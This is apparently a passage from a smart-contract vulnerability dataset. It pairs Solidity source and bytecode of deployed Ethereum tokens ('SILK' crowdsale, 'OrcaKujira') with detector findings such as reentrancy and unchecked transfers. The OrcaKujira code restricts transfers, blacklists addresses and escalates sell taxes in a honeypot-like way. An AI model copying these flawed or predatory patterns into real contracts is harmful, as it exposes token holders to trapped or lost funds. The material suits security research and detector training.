9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea26469706673582212208daea7d80962cdbe4603772cbb5dda17ee6028fc18008215611cfea445e5158d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,078 |
0x9d16f5f08c745376461af9687902f7b86d5a4809
|
/*! silkroad.sol | (c) 2018 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | License: MIT */
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Repayment(address indexed from, uint256 time, uint256 amount);
event Reward(address indexed to, uint256 time, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
emit Repayment(msg.sender, now, msg.value);
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount.mul(balances[_to]).div(totalSupply_)) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum = sum.add(amount);
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, now, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function availableReward(address _to) public view returns(uint256 value) {
if(rewards[_to].length < repayments.length && balances[_to] > 0) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
sum = sum.add(repayments[i].amount.mul(balances[_to]).div(totalSupply_));
}
return sum;
}
return 0;
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
/*
ICO Silkroadmining
*/
contract Token is CappedToken, BurnableToken, RewardToken, Withdrawable {
constructor() CappedToken(1000000 * 1e8) StandardToken("SILK", "SILK", 8) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
addManager(0x915c517cB57fAB7C532262cB9f109C875bEd7d18);
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.finishMinting();
token.transferOwnership(_to);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
}
|
0x6080604052600436106100f85763ffffffff60e060020a6000350416630b522abf81146100fd5780630f5bab7c146101205780631ba6e1bd146101475780632d06177a146101f95780633d39c2601461021a5780633f4ba83a1461024e578063522f6815146102635780635c975abb146102875780636cf7ccac146102b0578063715018a6146102e0578063757b8cf4146102f55780638456cb591461031f5780638da5cb5b14610334578063a8d088bb14610349578063ac18de43146103ae578063ccb07cef146103cf578063f0595dd1146103e4578063f2fde38b1461040e578063f3ae24151461042f578063fc0c546a14610450575b600080fd5b34801561010957600080fd5b5061011e600160a060020a0360043516610465565b005b34801561012c57600080fd5b5061013561060c565b60408051918252519081900360200190f35b34801561015357600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261011e958335600160a060020a031695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750508435955050506020830135926040013591506106139050565b34801561020557600080fd5b5061011e600160a060020a036004351661080a565b34801561022657600080fd5b506102326004356108cd565b60408051600160a060020a039092168252519081900360200190f35b34801561025a57600080fd5b5061011e6108f5565b34801561026f57600080fd5b5061011e600160a060020a0360043516602435610952565b34801561029357600080fd5b5061029c6109c7565b604080519115158252519081900360200190f35b3480156102bc57600080fd5b5061011e600160a060020a03600435811690602435811690604435166064356109d0565b3480156102ec57600080fd5b5061011e610a98565b34801561030157600080fd5b5061011e600160a060020a0360043581169060243516604435610b04565b34801561032b57600080fd5b5061011e610bb5565b34801561034057600080fd5b50610232610c14565b34801561035557600080fd5b5061035e610c23565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561039a578181015183820152602001610382565b505050509050019250505060405180910390f35b3480156103ba57600080fd5b5061011e600160a060020a0360043516610c85565b3480156103db57600080fd5b5061029c610dd7565b3480156103f057600080fd5b5061011e600160a060020a0360043581169060243516604435610df9565b34801561041a57600080fd5b5061011e600160a060020a0360043516610e73565b34801561043b57600080fd5b5061029c600160a060020a0360043516610e96565b34801561045c57600080fd5b50610232610ef4565b600054600160a060020a0316331461047c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff16156104a557600080fd5b600260019054906101000a9004600160a060020a0316600160a060020a0316637d64bcb46040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156104f857600080fd5b505af115801561050c573d6000803e3d6000fd5b505050506040513d602081101561052257600080fd5b5050600254604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152600160a060020a03848116600483015291516101009093049091169163f2fde38b9160248082019260009290919082900301818387803b15801561059157600080fd5b505af11580156105a5573d6000803e3d6000fd5b50506002805475ff0000000000000000000000000000000000000000001916750100000000000000000000000000000000000000000017905550506040517f587261db95996a4ec51ca62d662d1f046a5e62831eb4ae0b8cd974da5673fbf090600090a150565b6001545b90565b60025460ff161561062357600080fd5b61062c33610e96565b151561063757600080fd5b600254604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038981166004830152602482018590529151610100909304909116916340c10f19916044808201926020929091908290030181600087803b1580156106ac57600080fd5b505af11580156106c0573d6000803e3d6000fd5b505050506040513d60208110156106d657600080fd5b505060408051908101849052606081018390526080810182905260a08082528651908201528551600160a060020a038816917f4d0b080b5756debe53fca7630901397a436c3a15682817f1f44104b52824365a918891889188918891889190819060208281019160c08401918a019080838360005b8381101561076357818101518382015260200161074b565b50505050905090810190601f1680156107905780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b838110156107c35781810151838201526020016107ab565b50505050905090810190601f1680156107f05780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a2505050505050565b600054600160a060020a0316331461082157600080fd5b600160a060020a038116151561083657600080fd5b61083f81610e96565b1561084957600080fd5b60018054808201825560009182527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03841690811790915560405190917f3b4a40cccf2058c593542587329dd385be4f0b588db5471fbd9598e56dd7093a91a250565b60018054829081106108db57fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a0316331461090c57600080fd5b60025460ff16151561091d57600080fd5b6002805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600054600160a060020a0316331461096957600080fd5b600160a060020a038216151561097e57600080fd5b303181111561098c57600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f193505050501580156109c2573d6000803e3d6000fd5b505050565b60025460ff1681565b600054600160a060020a031633146109e757600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301528481166024830152604482018490529151918616916323b872dd916064808201926020929091908290030181600087803b158015610a5b57600080fd5b505af1158015610a6f573d6000803e3d6000fd5b505050506040513d6020811015610a8557600080fd5b50511515610a9257600080fd5b50505050565b600054600160a060020a03163314610aaf57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314610b1b57600080fd5b82600160a060020a031663095ea7b383836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610b7e57600080fd5b505af1158015610b92573d6000803e3d6000fd5b505050506040513d6020811015610ba857600080fd5b505115156109c257600080fd5b600054600160a060020a03163314610bcc57600080fd5b60025460ff1615610bdc57600080fd5b6002805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600054600160a060020a031681565b60606001805480602002602001604051908101604052809291908181526020018280548015610c7b57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5d575b5050505050905090565b600080548190600160a060020a03163314610c9f57600080fd5b610ca883610e96565b1515610cb357600080fd5b5060009050805b600154811015610d045782600160a060020a0316600182815481101515610cdd57fe5b600091825260209091200154600160a060020a03161415610cfc578091505b600101610cba565b60015460001901821015610d8a5760018054838201908110610d2257fe5b60009182526020909120015460018054600160a060020a039092169184908110610d4857fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560019190910190610d04565b6001805490610d9d906000198301610f85565b50604051600160a060020a038416907fef69f7d97228658c92417be1b16b19058315de71fecb435d07b7d23728b6bd3190600090a2505050565b6002547501000000000000000000000000000000000000000000900460ff1681565b600054600160a060020a03163314610e1057600080fd5b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610b7e57600080fd5b600054600160a060020a03163314610e8a57600080fd5b610e9381610f08565b50565b6000805b600154811015610ee95782600160a060020a0316600182815481101515610ebd57fe5b600091825260209091200154600160a060020a03161415610ee15760019150610eee565b600101610e9a565b600091505b50919050565b6002546101009004600160a060020a031681565b600160a060020a0381161515610f1d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8154818355818111156109c2576000838152602090206109c291810190830161061091905b80821115610fbe5760008155600101610faa565b50905600a165627a7a723058208fd769795d85cc84d8fb957bfdd24b35f33234573a041507d663359929a437310029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,079 |
0x7947b94e777221d4dc344735e1b891d34c2f854c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
//SPDX-License-Identifier: Mines™®©
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OrcaKujira is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Orca Kujira https://t.me/OrcaKujira";
string private constant _symbol = "$OrcaKujira";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 10;
uint256 private _teamFee = 6;
mapping(address => bool) private bots;
mapping(address => uint256) private frontrunSafe;
mapping(address => uint256) private sellTimes;
mapping(address => uint256) private firstsell;
address payable private _teamAddressOne;
address payable private _teamAddressTwo;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_teamFee = 6;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee.mul(multiplier);
_teamFee = 6;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
frontrunSafe[to] = block.timestamp + (30 seconds);
_teamFee = 0;
_taxFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && frontrunSafe[from] < block.timestamp);
if (firstsell[from] + (12 hours) <= block.timestamp) {
firstsell[from] = block.timestamp;
sellTimes[from] = 1;
} else {
sellTimes[from] < 4
? sellTimes[from] += 1
: sellTimes[from] = 4;
}
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
if (amount <= balanceOf(uniswapV2Pair).mul(1).div(100) && sellTimes[from] == 1) {
setFee(0);
} else {
setFee(sellTimes[from]);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddressOne.transfer(amount.div(2));
_teamAddressTwo.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddressOne);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddressOne);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 teamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setTeamAddress(address payable _address1, address payable _address2) external onlyOwner() {
_teamAddressOne = _address1;
_teamAddressTwo = _address2;
_isExcludedFromFee[_teamAddressOne] = true;
_isExcludedFromFee[_teamAddressTwo] = true;
}
function withdrawBalance() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
}
|
